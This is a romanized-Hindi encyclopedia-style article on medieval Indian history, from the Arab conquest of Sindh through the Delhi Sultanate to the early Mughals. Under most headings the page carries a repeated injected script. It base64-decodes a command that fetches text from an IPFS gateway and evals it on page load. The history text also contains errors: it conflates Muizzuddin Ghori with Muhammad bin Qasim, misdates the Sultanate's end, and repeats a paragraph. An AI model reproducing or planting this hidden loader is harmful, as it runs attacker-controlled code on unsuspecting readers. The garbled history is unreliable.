athavian shatabdi ke bad aur visheshakar dasavian se barahavian shatabdi ke bich ka kal mandir nirman kala ka charamotkarsh mana ja sakata hai. aj ham jin bhavyoan mandiroan ko dekhate haian, unamean se adhikatar usi kal mean banaye ge the. is kal ki mandir nirman kala ki mukhy shaili 'nagar' nam se jani jati hai. yadyapi is shaili ke mandir sare bharat mean pae jate haian tathapi inake mukhy kendr uttar bharat aur dakkan mean the.

REDIRECT saancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

madhyakalin bharat 2

islam ka pravesh

[[chitr:Islam-Symbol.jpg|thumb|200px|islam dharm ka pratik]]

mukhy lekh : islam dharm

is bich 712 ee. mean bharat mean islam ka pravesh ho chuka tha. muhammad-ibn-qasim ke netritv mean musalaman araboan ne siandh par hamala kar diya aur vahaan ke brahman raja dahir ko hara diya. is tarah bharat ki bhoomi par pahali bar islam ke pair jam gaye aur bad ki shatabdiyoan ke hindoo raja use phir hata nahian sake. parantu siandh par araboan ka shasan vastav mean nirbal tha aur 1176 ee. mean shahabuddin muhammad gori ne use asani se ukha d diya. isase poorv subuktagin ke netritv mean musalamanoan ne hamale karake panjab chhin liya tha aur gazani ke sultan mahamood ne 997 se 1030 ee. ke bich bharat par satrah hamale kiye aur hindoo rajaoan ki shakti kuchal dali, phir bhi hindoo rajaoan ne musalamani akraman ka jis anavarat riti se prabal virodh kiya, usaka mahattv kam karake nahian aankana chahie.

REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

arthik samajik jivan, shiksha tatha dharm _{800 ee. se 1200 ee.}

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is kal mean bharatiy samaj mean kee mahattvapoorn parivartan hue. inamean se ek yah tha ki vishisht varg ke logoan ki shakti bahut badhi jinhean 'samant', 'ranak' athava 'rautt' (rajapoot) adi pukara jata tha. is kal mean bharatiy dastakari tatha khanan kary uchch star ka bana raha tatha krishi bhi unnatishil rahi. bharat ane vale kee arab yatriyoan ne yahaan ki zamin ki urvarata aur bharatiy kisanoan ki kushalata ki charcha ki hai. pahale se chali a rahi varn vyavastha is yug mean bhi qayam rahi. smritiyoan ke lekhakoan ne brahmanoan ke visheshadhikaroan ke bare mean badha-chadha kar to kaha hi, shoodroan ki samajik aur dharmik ayogyata ko uchit thaharane mean to ve pichhale lekhakoan se kahian age nikal ge.

sangharsh ka yug lagabhag 1000 ee. se 1200 ee. tak

pashchim ke sath-sath madhy eshiya tatha uttar bharat mean bhi 1000 ee. tatha 1200 ee. ke bich tezi ke sath parivartan hue. inhian parivartanoan ke parinamasvaroop is kal ke ant mean uttar bharat mean turkoan ke akraman hue. nauvian shatabdi ke ant tak abbasi khalifoan ka patan arambh ho gaya tha. unaka samrajy ab chhote-chhote rajyoan mean bant gaya tha, jin par musalaman turkoan ka shasan tha. turk, abbasi samrajy mean mahal rakshakoan tatha peshevar sainikoan ke roop mean ae the. lekin shighr hi itane shaktishali ban ge ki niyukti par bhi unaka adhikar ho gaya. jaise-jaise kendriy sarakar ki shakti kam hoti gee, prantiy shasak apani svatantrata ki ghoshana karane lage, yadyapi kuchh samay tak is par ekata ka parda p da raha, kyoanki saphal saradaroan ko, jo kisi kshetr mean apana adhikar jamane mean saphal ho jate the, khalifa hi aupacharik roop se 'amir-ul-umara' (senapatiyoan ka senapati) ki padavi deta tha. ye shasak pahale 'amir' ki, par bad mean 'sultan' ki padavi grahan karane lage.

ek ke bad ek samrajy sthapit hote ge aur utani hi jaldi unaka patan hota gaya. inhoanne ek nayi prakar ki yuddhaniti shuroo ki. jisamean pramukh bhoomika bhari astrashastroan se lais ghu dasavar sainikoan ki hoti thi, jo tezi se age-pichhe sarak sakate the aur gho de ki pith se hi tiroan ki bauchhar kar sakate the. yah lohe ki raqaboan se hi sambhav tha. 'lohe ki raqaboan' tatha ek ne tarah ki 'lagam' ke karan yuddhaniti mean is tarah ka parivartan aya. isi bich gurjar-pratiharoan ke samrajy ke vighatan se uttari bharat kee chhot-chhote rajyoan mean bant gaya jinake shasakoan ke pas is nee yuddh niti ke mahattv ko samajhane tatha usaka muqabala karane ke n to sadhan the aur n hi ichchha thi.

mahamood gazanavi

[[chitr:Sultan-Mahmud-Ghaznawi.jpg|thumb|180px|mahamood gazanavi]]

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

yah yamini vansh ka turk saradar gazani ke shasak subuktagin ka putr tha . usaka janm san. 1028 vi. (ee. 971) mean hua, 27 varsh ki ayu mean san. 1055 (ee. 998) mean vah shasanadhyaksh bana tha . mahamood bachapan se bharatavarsh ki apar samriddhi aur dhan-daulat ke vishay mean sunata raha tha . usake pita ne ek bar hindoo shahi raja jayapal ke rajy ko loot kar prachur sampatti prapt ki thi, mahamood bharat ki daulat ko lootakar malamal hone ke svapn dekha karata tha . usane 17 bar bharat par akraman kiya aur yahaan ki apar sampatti ko vah loot kar gazani le gaya tha . usake akraman aur lootamar ke kale karanamoan se tatkalin aitihasik granthoan ke panne bhare hue hai .

uttar bharat par turkoan ki vijay

panjab mean gazanaviyoan ke bad hindoo aur musalamanoan ke bich do vibhinn prakar ke sambandh sthapit hue. ek to loot ki lalasa thi jisake parinam svaroop mahamood ke uttaradhikariyoan ne ganga ghati aur rajapootana mean kee bar akraman kie. rajapoot shasakoan ne in akramanoan ka dat kar muqabala kiya aur kee bar turkoan ko parajit bhi kiya. lekin ab tak gazanavi samrajy ki shakti kshin ho chuki thi aur turkoan ko kee bar parajit kar rajapoot shasak chain se baith ge. doosare star par musalaman vyapariyoan ko n keval svikriti di gee varan unaka svagat bhi kiya gaya kyoanki unake madhyam se madhy aur pashchim eshiya ke sath bharat ke vyapar ko bahut badhava milata tha aur isase in rajyoan ki ay bhi badhati thi. is karan uttar bharat ke kuchh nagaroan mean musalaman vyapariyoan ki kee bastiyaan sthapit ho geean. vyapariyoan ke pichhe-pichhe kee musalaman dharm pracharak bhi ae jinhoanne yahaan soofi mat ka prachar kiya. is prakar islam aur hindoo samaj tatha aur dharmoan mean sampark sthapit hua aur ve donoan ek doosare se prabhavit hue. lahaur, arabi tatha farasi bhasha aur sahity ka kendr ban gaya. tilak jaise hindoo senapatiyoan ne gazanaviyoan ki sena ka netritv kiya. gazanaviyoan ki sena mean hindoo, sipahi bhi bharti hote the.

ye donoan prakriyaean barabar jari rahatian, yadi isi bich madhy eshiya ki rajanitik sthiti mean ek bahut b da parivartan n hota. barahavian shatabdi ke madhy tak turki qabiloan ke ek aur dal ne, jo kuchh had tak bauddh aur kuchh had tak vidharmi tha, selajuk turkoan ko ukha d ka. is prakar jo sthan rikt hua usamean do nayi shaktiyaan - khvarizami aur gori ka uday hua. khvarizami samrajy ka adhar eeran tha tatha gori samrajy ka adhar uttar-pashchim afaganistan. gori arambh mean gazani ke 'samant' the, par shighr hi ye is bojh ko utha pheankane mean saphal ho ge. goriyoan ki shakti sultan alauddin ke samay bahut badhi. use 'sansar ko jalane vala' kaha jata tha. kyoanki usane bhaiyoan ke sath kie ge durvyavahar ke badale ke roop mean sari gazani ko jalakar khak mean mila diya tha. khvarizami shasakoan ke karan gori madhy eshiya mean apane paanv jamane ki ichchha ko poora nahian kar sake. un donoan ke bich jhag de ki j d; khurasan par khvarizami shah ne adhikar kar liya. isase goriyoan ke lie bharat ki or badhane ke alava aur koee rasta nahian bacha tha.

muhammad bin qasim aur mahamood gazanavi

mukhy lekh : muhammad bin qasim evan mahamood gazanavi

muijjuddin mohammad bin qasim ki tulana aksar mahamood gazanavi se ki jati hai. yoddha ke roop mean mahamood gazanavi adhik saphal tha kyoanki bharat athava madhy eshiya ke ek bhi abhiyan mean vah parajit nahian hua. vah bharat ke bahar bhi ek b de samrajy par shasan karata tha. lekin hamean yah bhi yad rakhana chahie ki mahamood ki apeksha muijjuddin ko bharat mean aur b de tatha sansangathit rajyoan ka samana karana p da. yadyapi vah madhy eshiya mean utana saphal nahian ho saka, bharat mean usaki rajanitik upalabdhiyaan aur b di thian. un donoan ko vibhinn paristhitiyoan ka samana karana p da. atah in donoan ki tulana se koee vishesh labh nahian hoga. isake alava bharat mean rajanitik aur sainik drishti se in donoan ka lakshy kee batoan mean bilkul bhinn tha. in donoan mean se kisi ko bhi islam mean vishesh dilachaspi nahian thi. yadi ek bar koee shasak unake prabhutv ko svikar kar leta to use apane kshetr mean shasan karane diya jata. keval vishesh paristhitiyoan mean usake poore rajy athava usake kisi hisse ko poori tarah apane adhikar mean lena avashyak ho jata. mahamood tatha muijjuddin donoan ki senaoan mean hindoo sainik aur adhikari the aur donoan mean se kisi ne apane svarthoan ko siddh karane tatha bharatiy shaharoan aur mandiroan ki loot ko uchit thaharane ke lie islam ke naroan ka sahara lene mean hichakichahat mahasoos nahian ki. pandrah varshoan ki chhoti avadhi mean uttar bharat ke pramukh rajyoan ne turki senaoan ke samane ghutane tek die. isake karan bhi janana avashyak hai. yah ek niyam ke roop mean svikar kiya ja sakata hai ki ek desh doosare se tabhi parajit hota hai jab vah samajik aur rajanitik drishti se kamazor p d gaya ho tatha apane p dosiyoan ki tulana mean arthik aur sainik roop se pichhe p d gaya ho.

bhavy mandiroan ka nirman

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

athavian shatabdi ke bad aur visheshakar dasavian se barahavian shatabdi ke bich ka kal mandir nirman kala ka charamotkarsh mana ja sakata hai. aj ham jin bhavyoan mandiroan ko dekhate haian, unamean se adhikatar usi kal mean banaye ge the. is kal ki mandir nirman kala ki mukhy shaili 'nagar' nam se jani jati hai. yadyapi is shaili ke mandir sare bharat mean pae jate haian tathapi inake mukhy kendr uttar bharat aur dakkan mean the.

prithviraj chauhan aur gori

[[chitr:Muhammad-Ghori.jpg|thumb|muhammad gori]]

mukhy lekh : prithviraj chauhan evan muhammad gori

faras tatha pashchim eshiya ke doosare rajyoan ki tarah musalamanoan ko bharat mean shighrata se saphalata nahian mili. yadyapi siandh par arab musalamanoan ka shighrata se qabza ho gaya, parantu vahaan se ve lagabhag char shatabdiyoan tak age nahian badh paye. jab muijjuddin muhammad multan aur uchchh par adhikar karane ki cheshta kar raha tha, ek chaudah sal ka l daka, prithviraj ajamer ki gaddi par baitha. prithviraj ke bare mean kee kahaniyaan mashahoor haian.

uttar-pashchim ke musalaman akramanakariyoan ko bhi bharat ne lagabhag tin shatabdiyoan tak roke rakha. shahabuddin muhammad gori ka dilli jitane ka pahala prayas viphal hua aur prithviraj ne 1190 ee. mean taraeen ki pahali l daee mean use hara diya. vah 1193 ee. mean taraeen ki doosari l daee mean hi prithviraj ko harane mean saphal hua. is vijay ke bad shahabuddin aur usake senapatiyoan ne uttari bharat ke doosare hindoo rajaoan ko bhi hara diya aur vahaan musalamani shasan sthapit kar diya. is tarah terahavian shatabdi ke prarambh mean dilli ke sultanoan ki adhinata mean uttari bharat ki rajanitik ekata phir se sthapit ho gee.

REDIRECTsaancha:inhean bhi dekhean

qutubuddin aibak (1206-1210 ee.)

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tarain ke yuddh ke bad muijjuddin gazani laut gaya aur bharat ke vijit kshetroan ka shasan apane vishvaniy gulam qutubuddin aibak ke hathoan mean chho d diya. prithviraj ke putr ko ranathambhaur sauanp diya gaya jo terahavian shatabdi mean shaktishali chauhanoan ki rajadhani bana. agale do varshoan mean aibak ne, oopari doab mean merath, baran tatha koil (adhunik aligadh) par qabza kiya. is kshetr ke shaktishali dor-rajapootoan ne aibak ka muqabala kiya, lekin ashchary ki bat hai ki gahadavaloan ko turki akraman se sabase adhik nuqasan ka khatara tha aur unhoanne n to dor-rajapootoan ki koee sahayata ki aur n hi turkoan ko is kshetr se bahar nikalane ka koee prayas hi kiya. muijjuddin 1194 ee0 mean bharat vapas aya. vah pachas hazar ghu dasavaroan ke sath yamuna ko par kar kannauj ki or badha. itava zile mean kannauj ke nikat chhandava d mean muijjuddin aur jayachandr ke bich bhishan l daee huee. is avadhi mean usane dilli ki dakshin sima ki suraksha ke lie bayana tatha gvaliyar ke qiloan par qabza kiya. usake bad aibak ne chandel shasakoan se kalianjar, mahoba tatha khajuraho ko chhin liya. aibak ne gujarat tatha anhilava d ke shasak bhim dvitiy ko parajit kiya aur kee nagaroan mean lootapat machaee. yahaan yadyapi ek musalaman shasak ko niyukt kiya gaya tha par use shighr hi gaddi se utar diya gaya. isase pata chalata hai ki turk itane door daraj kshetroan mean shasan karane ke layaq shakti nahian bane the.

gori samrajy ka vistar

jab aibak aur turki aur khilaji saradar uttar bharat mean ne kshetroan ko jitane aur apani sthiti mazaboot karane ki cheshta kar rahe the, muijjuddin aur usaka bhaee madhy eshiya mean gori samrajy ka vistar karane lage the. goriyoan ki vistar ki akaanksha ne unhean shaktishali khvarizam samrajy se takkar lene par mazaboor kar diya. khvarizam shasak ne muijjuddin ko 1203 mean karari mat di. lekin yah parajay ek prakar se unake lie labhadayak siddh huee. kyoanki isake karan unhean eshiya mean vistar ki akaanksha ko tyagana p da aur unhoanne bharat mean vistar ki or apana poora dhyan laga diya. lekin is yuddh ka tatkalik parinam yah hua ki muijjuddin ki har se sahas pa kar bharat mean usake kee virodhiyoan ne bagavat kar di. pashchim bangal ki l dakoo jati khokar ne lahaur aur gazani ke bich sampark sadhanoan ko kat diya. muijjuddin ne bharat mean apana aantim akraman khokaroan ke vidroh ko dabane ke lie kiya jisamean vah saphal bhi hua. gazani lautate samay vah ek virodhi muslim sampraday ke kattar samarthak dvara mara gaya.

dilli saltanat (madhyakalin bharat 3)

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dilli saltanat ki sthapana bharatiy itihas mean yugantakari ghatana hai. shasan ka yah navin svaroop bharat ki poorvavarti rajavyavasthaoan se bhinn tha. is kal ke shasak evan unaki prashasanik vyavastha ek aise dharm par adharit thi, jo ki sadharan dharm se bhinn tha. shasakoan dvara satta ke abhootapoorv kendrikaran aur krishak varg ke shoshan ka bharatiy itihas mean koee udaharan nahian milata hai. dilli saltanat ka kal 1206 ee. se prarambh hokar 1562 ee. tak raha. 320 varshoan ke is lambe kal mean bharat mean muslimoan ka shasan vyapt raha. yah kal sthapaty evan vastukala ke liye bhi vishesh roop se ullekhaniy hai.

mamalook athava gulam vansh (1206 se 1290 ee.)

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turk panjab aur multan se lekar ganga ghati tak, yahaan tak ki bihar tatha bangal ke kuchh kshetroan mean apana prabhav qayam karane mean saphal ho sake. inake rajy ko 'dilli saltanat' ke nam se jana jata hai. qarib sau varshoan tak in turkoan ko apane rajy ki suraksha ke lie videshi akramanoan, turki netaoan ke aantarik matabhedoan tatha vijit rajapoot shasakoan dvara apane rajy ko punah vapas lene aur yadi sambhav ho to turkoan ko bahar nikal dene ke prayasoan ka samana karana p da. turki shasak in badhaoan ko par kar vijay pane mean saphal hue aur terahavian shatabdi ke ant tak unhoanne n keval malava aur gujarat ko apane adhin kar liya, varan dakkan aur dakshin bharat tak pahuanch ge. is prakar uttar bharat mean sthapit turki samrajy ka prabhav sare bharat par p da aur isake parinamasvaroop sau varshoan mean samaj, prashasan tatha saanskritik jivan par dooragami parivartan hue.

iltutamish/altamash (1201 ee0-1236 ee0)

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chaugan khelate samay 1210 ee0 mean gho de se girane ke karan aibak ki mrityu ho gee. usake bad usaka damad iltutamish usaka uttaradhikari bana, par sianhasan par baithane ke pahale use aibak ke putr se yuddh kar use parajit karana p da. is prakar arambh se hi pita ki mrityu ke bad usake putr ke sianhasanadhikar ki pratha ko dhakka laga.

altamash (1210-36) ko uttar bharat mean turkoan ke rajy ka vastavik sansthapak mana ja sakata hai. usake sianhasan par baithane ke samay 'ali mardan khaan' ne bangal aur bihar tatha aibak ke ek aur gulam, 'kubacha' ne, multan ke svatantr shasakoan ke roop mean ghoshana kar di thi. kubacha ne lahaur tatha panjab ke kuchh hissoan par apana adhikar bhi kar liya. pahale pahal dilli ke nikat bhi altamash ke kuchh sahakari adhikari usaki prabhuta svikar karane mean hichakicha rahe the. rajapootoan ne bhi sthiti ka labh uthakar apani svatantrata ghoshit kar dian. is prakar kalianjar, gvaliyar tatha ajamer aur bayana sahit sare poorvi rajasthan ne turki bojh apane kandhoan se utar pheanka.

raziya sultan (1236-39)

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apane aantim dinoan mean iltutamish apane uttaradhikar ke saval ko lekar chintit tha. vah apane kisi bhi l dake ko sultan banane yogy nahian samajhata tha. bahut sochane vicharane ke bad ant mean usane apani putri 'raziya' ko apana sianhasan sauanpane ka nishchay kiya tatha apane saradaroan aur ulmaoan ko is bat ke lie razi kiya. yadyapi striyoan ne prachin misr aur eeran mean raniyoan ke roop mean shasan kiya tha aur isake alava shasak rajakumaroan ke chhote hone ke karan rajy ka karobar sambhala thi, tathapi is prakar putroan ke hote hue sianhasan ke lie stri ko chunana ek naya qadam tha.

balaban ka yug (1246-86)

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turk saradaroan aur shasan ke bich sangharsh chalata raha. ek turk saradar 'ulaghu khaan' ne, jise usake bad ke nam, 'balaban' se jana jata hai, dhire-dhire sari shakti apane hathoan mean kendrit kar li aur vah 1246 mean sianhasan par baitha. usake sianhasan par baithane ke bad turk saradar aur shasan ke bich sangharsh ruka. arambh mean balaban iltutamish ke chhote putr nasirooddin mahamood ka nayab tha, jise usane 1246 mean gaddi par baithane mean madad ki thi. balaban ne apani ek putri ka vivah yuva sultan se karava kar apani sthiti aur mazaboot kar li.

khilaji vansh (1290-1320 ee.)

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khilaji kaun the? is vishay mean paryapt vivad hai. itihasakar 'nizamuddin ahamad' ne khilaji ko changez khaan ka damad aur kulin khaan ka vanshaj, 'barani' ne use turkoan se alag evan 'fakharuddin' ne khilajiyoan ko turkoan ki 64 jatiyoan mean se ek bataya hai. fakharuddin ke mat ka adhikaansh vidvanoan ne samarthan kiya hai. chooanki bharat ane se poorv hi yah jati afaganistan ke helamand nadi ke tatiy kshetroan ke un bhagoan mean rahati thi, jise khilaji ke nam se jana jata tha. sambhavatah isilie is jati ko khilaji kaha gaya. mamalook athava gulam vansh ke antim sultan shamasuddin kyoomars ki hatya ke bad hi jalaluddin firoj khilaji sianhasan par baitha tha, isalie itihas mean khilaji vansh ki sthapana ko khilaji kraanti ke nam se bhi jana jata hai. khilaji kraanti keval isalie mahattvapoorn nahian hai ki, usane gulam vansh ko samapt kar navin khilaji vansh ki sthapana ki, balki isalie bhi mahattvapoorn hai ki, khilaji kraanti ke parinamasvarooph dilli saltanat ka sadoor dakshin tak vistar hua. jativad mean kami aee aur sath hi yah dharana bhi khatm huee ki, shasan keval vishishti varg ka vyakti hi kar sakata hai.

tugalaq vansh (1320-1414)

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gayasuddin ne ek naye vansh arthat tugalaq vansh ki sthapana ki, jisane 1412 tak raj kiya. is vansh mean tin yogy shasak hue. gayasuddin, usaka putr muhammad bin tugalaq (1324-51) aur usaka uttaradhikari firoj shah tugalaq (1351-87). inamean se pahale do shasakoan ka adhikar qarib-qarib poore desh par tha. firoj ka samrajy unase chhota avashy tha, par phir bhi alauddin khilaji ke samrajy se chhota nahian tha. firoj ki mrityu ke bad dilli saltanat ka vighatan ho gaya aur uttar bharat chhote-chhote rajyoan mean bant gaya. yadyapi tugalaq 1412 tak shasan karat rahe, tathapi 1399 mean taimoor dvara dilli par akraman ke sath hi tugalaq samrajy ka aant mana jana chahie.

REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

taimoor

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

dakshin ek aur shatabdi tak svatantr raha, kintu sultan khilaji ke rajyakal mean dakshin bhi dilli saltanat ke adhin ho gaya aur is tarah chaudahavian shatabdi mean kuchh kal ke lie sare bharat ka shasan phir se ek kendriy satta ke aantargat a gaya. parantu dilli saltanat ka shighr hi patan shuroo ho gaya aur 1336 ee. mean dakshin mean hinduoan ka ek vishal rajy sthapit hua, jisaki rajadhani vijay nagar samrajy thi. bangal (1338 ee.), jaunapur (1393 ee.), gujarat tatha dakshin ke madhyavarti bhag mean bhi bahamani saltanat (1347 ee.) ke nam se svatantr musalamani rajy sthapit ho gaya. 1398 ee. mean taimoor ne bharat par hamala kiya aur dilli par qabza kar liya aur use loota. usake hamale se dilli ki saltanat jarjar ho gayi.

REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

mugal (madhyakalin bharat 4)

[[chitr:Babar.jpg|babar|thumb|150px]]

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dilli ki saltanat vastav mean kamazor thi, kyoanki sultanoan ne apani vijit hindoo praja ka hriday jitane ka koee prayas nahian kiya. ve dharmik drishti se atyant kattar the aur unhoanne balapoorvak hinduoan ko musalaman banane ka prayas kiya. isase hindoo praja unase koee sahanubhooti nahian rakhati thi. isak phalasvaroop 1526 ee. mean babar ne asani se dilli ki saltanat ko ukha d phaianka. usane panipat ki pahali l daee mean antim sultan ibrahim lodi ko hara diya aur mugal vansh ki pratishthit kiya, jisane 1526 se 1858 ee. tak bharat par shasan kiya. tisara mugal badashah akabar asadharan roop se yogy aur dooradarshi shasak tha. usane apani vijit hindoo praja ka hriday jitane ki koshish ki aur vishesh roop se yuddh priy rajapoot rajaoan ko apane paksh mean karane ka prayas kiya. akabar ne dharmik sahishnuta tatha mel-milap ki niti barati, hinduoan par se jaziya utha liya aur rajy ke ooanche padoan par bina bhedabhav ke sirf yogyata ke adhar par niyuktiyaan kian.

babar (1526 -1530 )

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526 mean ee. panipat ke pratham yuddh mean dilli saltanat ke aantim vansh (lodi vansh) ke sultan ibrahim lodi ki parajay ke sath hi bharat mean mugal vansh ki sthapana ho gee. is vansh ka sansthapak "zahiruddin muhammad babar" tha. babar ka pita 'umar shekh mirza', 'faragana' ka shasak tha, jisaki mrityu ke bad babar rajy ka vastavik adhikari bana. parivarik kathinaeeyoan ke karan vah madhy eshiya ke apane paitrik rajy par shasan nahian kar saka. usane keval 22 varsh ki ayu mean qabul par adhikar kar afaganistan mean rajy kayam kiya tha. vah 22 varsh tak qabul ka shasak raha. us kal mean usane apane poorvajoan ke rajy ko vapis pane ki kee bar koshish ki, par saphal nahian ho saka.

humayooan

[[chitr:Humayun.jpg|humayooan|thumb|100px]]

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

nasiruddin muhammad humayooan ka janm babar ki patni ‘maham begam’ ke garbh se 6 march, 1508 ee. ko kabul mean hua tha. humayooan, babar ke 4 putroan- humayooan, kamaran, askari aur hindal mean sabase b da tha. babar ne use apana uttaradhikari niyukt kiya tha. bharat mean rajyabhishek ke poorv 1520 ee. mean 12 varsh ki alvayu mean use badakhshaan ka soobedar niyukt kiya gaya. badakhshaan ke soobedar ke roop mean humayooan ne bharat ke un sabhi abhiyanoan mean bhag liya, jinaka netritv babar ne kiya tha.

sherashah soori

[[chitr:Shershah-Suri.jpg|sherashah soori|thumb|100px]]

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sherashah soori ke bachapan ka nam 'farid khaan' tha. vah vaijava da (hoshiyarapur 1472 ee.) mean apane pita 'hasan khaan' ki afagan path‍ni se utpann tha. usaka pita hasan, bihar ke sasaram ka zamiandar tha. farid khaan ne apane adhikaroan ki raksha evan shakti ke vistar ke lie bihar ke sultan muhammad shah nuhani ke yahaan naukari kar li. ek bar shikar par gaye nuhani ke sath farid khaan ne ek sher ko talavar ke ek hi bar se mar diya. usaki is bahaduri se prasann hokar muhammad shah ne use ‘sher khaan’ ki upadhi pradan ki. 1529 ee. mean bangal ke shasak nusaratashah ko parast karake sherakhaan ne hajarat-e-ala ki upadhi dharan ki. 1530 ee. mean sherakhaan ne chunar ke kiledar taj khaan ki vidhava la damalika se vivah karake chunar ka qila tatha bahut sampatti prapt ki. humayooan ko harane vala sher khaan, 'soor' nam ke qabile ka pathan saradar tha. vah 'sherashah' ke nam se badashah hua. usane agara ko apani rajadhani banaya tha.

akabar (1556 1605)

[[chitr:Akbar.jpg|thumb|100px|akabar]]

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akabar jalaluddin muhammad ke bachapan ka nam 'badaruddin' tha. 1546 ee. mean akabar ke khatane ke samay humayooan ne usaka nam 'jalaluddin muhammad akabar' rakha. akabar ke janm ke samay ki sthiti sambhavatah humayooan ke jivan ki sarvadhik kashtaprad sthiti thi. is samay usake pas apane sathiyoan ko baantane ke lie ek kastoori ke atirikt kuchh bhi n tha. akabar ne apane shasanakal mean sare bharat ko ek samrajy ke aantargat lane ka prayas kiya, jisamean vah kafi had tak saphal bhi raha tha.

REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

jahaangir (1605 - 1627)

[[chitr:Jahangir.jpg|thumb|100px|jahaangir]]

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

nooruddin salim jahaangir ka janm fatehapur sikari mean sthit ‘shekh salim chishti’ ki kutiya mean raja bharamal ki beti ‘mariyam zamani’ ke garbh se 30 agast, 1569 ee. ko hua tha. akabar salim ko ‘shekhoo baba’ kaha karata tha. salim ka mukhy shikshak abdurrahim khanakhana tha. apane aranbhik jivan mean jahaangir sharabi aur avara shahazade ke roop mean badanam tha. usake pita samrat akabar ne usaki buri adatean chhu dane ki b di cheshta ki, kiantu use saphalata nahian mili. isilie samast sukhoan ke hote hue bhi vah apane big de hue bete ke karan jivan-paryant dukhi: raha. aantat: akabar ki mrityu ke pashchat jahaangir hi mugal samrat bana tha. us samay usaki ayu 36 varsh ki thi. aise badanam vyakti ke gaddinashian hone se janata mean asantosh evan ghabarahat thi. logoan ko aanshaka hone lagi ki, ab sukh−shaanti ke din vida ho gaye aur ashaanti−avyavastha evan loot−khasot ka zamana phir a gaya.

shahajahaan (1627 - 1658)

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

